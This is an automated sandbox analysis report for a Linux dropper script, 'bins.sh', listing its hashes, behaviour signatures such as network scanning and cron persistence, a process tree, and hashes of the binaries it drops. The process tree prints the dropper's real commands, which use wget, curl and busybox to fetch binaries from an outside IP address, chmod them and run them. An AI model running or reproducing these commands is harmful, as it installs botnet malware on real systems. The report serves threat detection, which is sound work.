Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    23-11-2024 20:47

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    acc93149a703834c82d35c5b31becff8

  • SHA1

    c3d8bf660a21eb45784dc9329194a0e80df1afca

  • SHA256

    ed0804977957488f570fda99c514fa0c6d363077f227de75b18857a47976523f

  • SHA512

    f8a9605ba45f141cadc156e369c781a754c0b300c0e6b14b01f4bd4e8d20be1f1ed6e748456d97cd052148bfa5faf31b79bbb34e625a0bcaac1a04ab52d4d120

  • SSDEEP

    192:mzkzszjA8AaiuKN1i72Pm2JG76GflnTlCQA1Z1ZdZc7PS9l9N9Me7xxq7maMV9LV:TWjruyx+F

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1899) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:715
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:722
        • /usr/bin/wget
          wget http://87.120.125.191/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Writes file to tmp directory
          PID:724
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Writes file to tmp directory
          PID:735
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Writes file to tmp directory
          PID:746
        • /bin/chmod
          chmod 777 3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • File and Directory Permissions Modification
          PID:747
        • /tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          ./3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
          • Executes dropped EXE
          PID:748
        • /bin/rm
          rm 3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd
          2⤵
            PID:750
          • /usr/bin/wget
            wget http://87.120.125.191/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Writes file to tmp directory
            PID:751
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Writes file to tmp directory
            PID:752
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Writes file to tmp directory
            PID:753
          • /bin/chmod
            chmod 777 sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • File and Directory Permissions Modification
            PID:754
          • /tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            ./sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
            • Executes dropped EXE
            PID:755
          • /bin/rm
            rm sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky
            2⤵
              PID:757
            • /usr/bin/wget
              wget http://87.120.125.191/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Writes file to tmp directory
              PID:758
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Writes file to tmp directory
              PID:759
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Writes file to tmp directory
              PID:762
            • /bin/chmod
              chmod 777 PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • File and Directory Permissions Modification
              PID:766
            • /tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              ./PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
              • Executes dropped EXE
              PID:767
            • /bin/rm
              rm PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr
              2⤵
                PID:770
              • /usr/bin/wget
                wget http://87.120.125.191/bins/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Writes file to tmp directory
                PID:772
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Writes file to tmp directory
                PID:780
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Writes file to tmp directory
                PID:789
              • /bin/chmod
                chmod 777 OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • File and Directory Permissions Modification
                PID:793
              • /tmp/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                ./OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                • Executes dropped EXE
                PID:794
              • /bin/rm
                rm OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1
                2⤵
                  PID:797
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • Writes file to tmp directory
                  PID:799
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • Writes file to tmp directory
                  PID:809
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • Writes file to tmp directory
                  PID:818
                • /bin/chmod
                  chmod 777 xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • File and Directory Permissions Modification
                  PID:820
                • /tmp/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  ./xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:821
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:823
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:824
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:825
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:826
                      • /bin/rm
                        rm xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD
                        2⤵
                          PID:828
                        • /usr/bin/wget
                          wget http://87.120.125.191/bins/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                          2⤵
                            PID:851
                          • /usr/bin/curl
                            curl -O http://87.120.125.191/bins/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                            2⤵
                              PID:920
                            • /bin/busybox
                              /bin/busybox wget http://87.120.125.191/bins/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                              2⤵
                              • Writes file to tmp directory
                              PID:921
                            • /bin/chmod
                              chmod 777 NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                              2⤵
                              • File and Directory Permissions Modification
                              PID:922
                            • /tmp/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                              ./NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                              2⤵
                              • Executes dropped EXE
                              PID:923
                            • /bin/rm
                              rm NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl
                              2⤵
                                PID:925
                              • /usr/bin/wget
                                wget http://87.120.125.191/bins/bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                                2⤵
                                  PID:926
                                • /usr/bin/curl
                                  curl -O http://87.120.125.191/bins/bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                                  2⤵
                                    PID:927
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.125.191/bins/bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:928
                                  • /bin/chmod
                                    chmod 777 bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:932
                                  • /tmp/bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                                    ./bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                                    2⤵
                                    • Executes dropped EXE
                                    PID:934
                                  • /bin/rm
                                    rm bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c
                                    2⤵
                                      PID:937
                                    • /usr/bin/wget
                                      wget http://87.120.125.191/bins/YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                                      2⤵
                                        PID:938
                                      • /usr/bin/curl
                                        curl -O http://87.120.125.191/bins/YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                                        2⤵
                                          PID:941
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.125.191/bins/YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:943
                                        • /bin/chmod
                                          chmod 777 YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:948
                                        • /tmp/YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                                          ./YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                                          2⤵
                                          • Executes dropped EXE
                                          PID:949
                                        • /bin/rm
                                          rm YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW
                                          2⤵
                                            PID:952
                                          • /usr/bin/wget
                                            wget http://87.120.125.191/bins/0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:954
                                          • /usr/bin/curl
                                            curl -O http://87.120.125.191/bins/0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:961
                                          • /bin/busybox
                                            /bin/busybox wget http://87.120.125.191/bins/0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd
                                            2⤵
                                            • System Network Configuration Discovery
                                            • Writes file to tmp directory
                                            PID:967
                                          • /bin/chmod
                                            chmod 777 0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:971
                                          • /tmp/0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd
                                            ./0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd
                                            2⤵
                                            • Executes dropped EXE
                                            • System Network Configuration Discovery
                                            PID:972
                                          • /bin/rm
                                            rm 0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:976
                                          • /usr/bin/wget
                                            wget http://87.120.125.191/bins/16q0jN9LOPirB2FfLbByHK76v5g5O9H2LK
                                            2⤵
                                              PID:977
                                            • /usr/bin/curl
                                              curl -O http://87.120.125.191/bins/16q0jN9LOPirB2FfLbByHK76v5g5O9H2LK
                                              2⤵
                                                PID:980

                                            Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • /tmp/0EGuWC7NYlSfrZ13YAfvZgOqskkzsIpMMd

                                              Filesize

                                              177KB

                                              MD5

                                              786d75a158fe731feca3880f436082c0

                                              SHA1

                                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                              SHA256

                                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                              SHA512

                                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                            • /tmp/3yJJ4lrT0xkVJKVOSghK0haZldCpD6ZVkd

                                              Filesize

                                              107KB

                                              MD5

                                              eb9c3a0de91fcf16ba17cb24608df68c

                                              SHA1

                                              09d95a7d70d5e115d103be51edff7c498d272fac

                                              SHA256

                                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                              SHA512

                                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                            • /tmp/NY3zeFiocfDcIIeUr6CYybAqMeKrdF9Bpl

                                              Filesize

                                              117KB

                                              MD5

                                              849fa04ef88a8e8de32cb2e8538de5fe

                                              SHA1

                                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                              SHA256

                                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                              SHA512

                                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                            • /tmp/OzB9XCRAN0iKCjL76G5jJJXHMonpHMDCB1

                                              Filesize

                                              119KB

                                              MD5

                                              1b166b95f9cb4b079ef1b9ec8363ddf3

                                              SHA1

                                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                                              SHA256

                                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                              SHA512

                                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                            • /tmp/PwgTyHw9VWdc1t0PKG5zFID4dX9GNxbrZr

                                              Filesize

                                              141KB

                                              MD5

                                              3ca8decdb1e52c423c521bfff02ac200

                                              SHA1

                                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                                              SHA256

                                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                              SHA512

                                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                            • /tmp/YXIGUvG3zPfOhrZFfYRDUxPCn1CmvsLbIW

                                              Filesize

                                              112KB

                                              MD5

                                              05d7857dcead18bbd86d2935f591873c

                                              SHA1

                                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                                              SHA256

                                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                              SHA512

                                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                            • /tmp/bQAqQkgzTJix4c7VX6Uqjmjdrhxg9RUU4c

                                              Filesize

                                              122KB

                                              MD5

                                              cd3d4b9c643e5b473fb4d88ed05f0716

                                              SHA1

                                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                                              SHA256

                                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                              SHA512

                                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                            • /tmp/sjajpkHvqsA4OeviY1zjwFRZ2J8abQTyky

                                              Filesize

                                              98KB

                                              MD5

                                              5141342d0df8699fa32a6b066a0c592e

                                              SHA1

                                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                                              SHA256

                                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                              SHA512

                                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                            • /tmp/xNQheO55v2hNsbsDywbi9VXQ1yMemvUyRD

                                              Filesize

                                              151KB

                                              MD5

                                              3c90d5820bddcf7c5d1bd21dfa49d958

                                              SHA1

                                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                              SHA256

                                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                              SHA512

                                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                            • /var/spool/cron/crontabs/tmp.1X7jk3

                                              Filesize

                                              210B

                                              MD5

                                              7d76dada0b79bd8d8a781df117debce1

                                              SHA1

                                              c6b68d03f0ff617fd0bc2f18f1a695f00a052ea9

                                              SHA256

                                              406d10652b6d2c1e17a735cb36ae35c28d65bbdcdfabb0a78da3f1665842fa5b

                                              SHA512

                                              6d4113772c6e9926a52268799623fc1a27a603c1a4b654d6926622a2ee5110fecfd54f610f6d6f60ca7c53b2527cdde27e1ec9b7bfd48efd7b75b050097a0837